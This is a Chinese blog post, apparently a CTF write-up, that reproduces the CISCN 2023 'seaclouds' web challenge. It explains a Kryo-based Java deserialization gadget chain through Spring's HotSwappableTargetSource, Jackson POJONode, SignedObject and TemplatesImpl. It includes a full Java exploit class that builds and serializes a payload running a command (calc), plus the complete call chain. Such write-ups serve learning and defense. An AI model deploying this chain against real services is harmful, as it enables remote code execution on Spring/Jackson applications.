【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现

2024-04-26 03:44

本文主要是介绍【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

原理速览

构造细节

EXP


原理速览

在Spring依赖下,可以触发jackson的BaseJsonNode#toString,从而调用getter,而后为所欲为

【Web】浅聊Jackson序列化getter的利用——POJONode_jackson 序列化时指定get方法

【Web】浅聊Java反序列化之Rome——关于其他利用链

至于如何调用toString,对于原生反序列化,走BadAttributeValueExpException最为方便,对于Field型的非原生反序列化, 如果对于Map的反序列化过程有类似HashMap#put的实现,就可以考虑HotSwappableTargetSource利用链

【Web】关于Java反序列化那些实现机制的朴素通识

而本题用的是kyro进行非原生反序列化,并且有上述后者的实现机制,就可以用HotSwappableTargetSource链来打,调用getter后再选择SignedObject打二次反序列化

构造细节

拿到源码似乎并没有直接给出反序列化入口,也没有看到waf

可以做文章的也就是最后return的代码

先是初始化了一个CodecMessageConverter对象,传入了codec为MessageCodec,并默认设置messageClass为GenericMessage.class

简单搜索关于CodecMessageConverter,再结合源码里给到的fromMessage和toMessage方法,不难理解其序列化和反序列化的功能

 

实例化完毕后接着再调用其toMessage方法

Message<?> decoded = (Message)this.codec.decode((byte[])((byte[])payload), this.messageClass);
这里,代码尝试将 byte[] 类型的 payload 解码成一个 Message<?> 对象。这个操作依赖于一个编解码器 codec,可能涉及从二进制数据到一个特定的消息对象的转换。this.messageClass 提供了目标消息的类信息,用于解码过程中确定具体的消息类型。

这里指定了解码的类型为this.messageClass(GenericMessage),所以后面构造的时候要用GenericMessage将payload封装起来(显然不影响HashMap的属性被put)

GenericMessage genericMessage = new GenericMessage(hashMap);
byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));

最后的最后,题目调用了getPayload(),这个方法是GenericMessage类的,这也印证了我们反序列化得到的结果是个GenericMessage对象

EXP

package com.sea;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;public class EXP {public static void main(String[] args) throws Exception {// 二次反序列化 BadAttributeValueExpException -> POJONode -> TemplatesImplClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Evil");ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);ctClass.addConstructor(ctConstructor);byte[] byteCode = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "whatever");setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});POJONode pojoNode1 = new POJONode(templates);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");setFieldValue(badAttributeValueExpException, "val", pojoNode1);// 一次反序列化 HotSwappableTargetSource -> XString -> POJONode -> SignedObject// 初始化 SignedObjectKeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");// 设置二次反序列化入口SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);POJONode pojoNode2 = new POJONode(signedObject);HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));// 手动构造 HashMap 以防触发正向利用链HashMap hashMap = new HashMap();setFieldValue(hashMap, "size", 2);Class nodeC;nodeC = Class.forName("java.util.HashMap$Node");Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, h1, "whatever", null));Array.set(tbl, 1, nodeCons.newInstance(0, h2, "whatever", null));setFieldValue(hashMap, "table", tbl);CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());// 序列化GenericMessage genericMessage = new GenericMessage(hashMap);byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));// 反序列化Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);messagecode.getPayload();}public static void setFieldValue(Object obj, String name, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}
}

利用链

CodecMessageConverter-> toMessage(decodemsg, ...)this.codec.decode(decodemsg, ...)AbstractKryoCodec-> decode(decodemsg, ...)PojoCodec-> doDecode(...)Kryo-> readObject(...)MapSerializer-> read(...)Map#put(hotSwappableTargetSource, ...)HotSwappableTargetSource-> equals(...)XString-> equals(pojoNode)BaseJsonNode-> toString()InternalNodeMapper#nodeToString(this)SignedObject-> getObject()a.readObject()BadAttributeValueExpException-> readObject()valObj.toString()BaseJsonNode-> toString()InternalNodeMapper#nodeToString(this)TemplatesImpl-> getOutputProperties()...

这篇关于【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/936626

相关文章

关于Spring @Bean 相同加载顺序不同结果不同的问题记录

《关于Spring@Bean相同加载顺序不同结果不同的问题记录》本文主要探讨了在Spring5.1.3.RELEASE版本下,当有两个全注解类定义相同类型的Bean时,由于加载顺序不同,最终生成的... 目录问题说明测试输出1测试输出2@Bean注解的BeanDefiChina编程nition加入时机总结问题说明

解决JavaWeb-file.isDirectory()遇到的坑问题

《解决JavaWeb-file.isDirectory()遇到的坑问题》JavaWeb开发中,使用`file.isDirectory()`判断路径是否为文件夹时,需要特别注意:该方法只能判断已存在的文... 目录Jahttp://www.chinasem.cnvaWeb-file.isDirectory()遇

JavaWeb-WebSocket浏览器服务器双向通信方式

《JavaWeb-WebSocket浏览器服务器双向通信方式》文章介绍了WebSocket协议的工作原理和应用场景,包括与HTTP的对比,接着,详细介绍了如何在Java中使用WebSocket,包括配... 目录一、概述二、入门2.1 POM依赖2.2 编写配置类2.3 编写WebSocket服务2.4 浏

将sqlserver数据迁移到mysql的详细步骤记录

《将sqlserver数据迁移到mysql的详细步骤记录》:本文主要介绍将SQLServer数据迁移到MySQL的步骤,包括导出数据、转换数据格式和导入数据,通过示例和工具说明,帮助大家顺利完成... 目录前言一、导出SQL Server 数据二、转换数据格式为mysql兼容格式三、导入数据到MySQL数据

关于rpc长连接与短连接的思考记录

《关于rpc长连接与短连接的思考记录》文章总结了RPC项目中长连接和短连接的处理方式,包括RPC和HTTP的长连接与短连接的区别、TCP的保活机制、客户端与服务器的连接模式及其利弊分析,文章强调了在实... 目录rpc项目中的长连接与短连接的思考什么是rpc项目中的长连接和短连接与tcp和http的长连接短

Oracle查询优化之高效实现仅查询前10条记录的方法与实践

《Oracle查询优化之高效实现仅查询前10条记录的方法与实践》:本文主要介绍Oracle查询优化之高效实现仅查询前10条记录的相关资料,包括使用ROWNUM、ROW_NUMBER()函数、FET... 目录1. 使用 ROWNUM 查询2. 使用 ROW_NUMBER() 函数3. 使用 FETCH FI

Python MySQL如何通过Binlog获取变更记录恢复数据

《PythonMySQL如何通过Binlog获取变更记录恢复数据》本文介绍了如何使用Python和pymysqlreplication库通过MySQL的二进制日志(Binlog)获取数据库的变更记录... 目录python mysql通过Binlog获取变更记录恢复数据1.安装pymysqlreplicat

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

使用IntelliJ IDEA创建简单的Java Web项目完整步骤

《使用IntelliJIDEA创建简单的JavaWeb项目完整步骤》:本文主要介绍如何使用IntelliJIDEA创建一个简单的JavaWeb项目,实现登录、注册和查看用户列表功能,使用Se... 目录前置准备项目功能实现步骤1. 创建项目2. 配置 Tomcat3. 项目文件结构4. 创建数据库和表5.

Servlet中配置和使用过滤器的步骤记录

《Servlet中配置和使用过滤器的步骤记录》:本文主要介绍在Servlet中配置和使用过滤器的方法,包括创建过滤器类、配置过滤器以及在Web应用中使用过滤器等步骤,文中通过代码介绍的非常详细,需... 目录创建过滤器类配置过滤器使用过滤器总结在Servlet中配置和使用过滤器主要包括创建过滤器类、配置过滤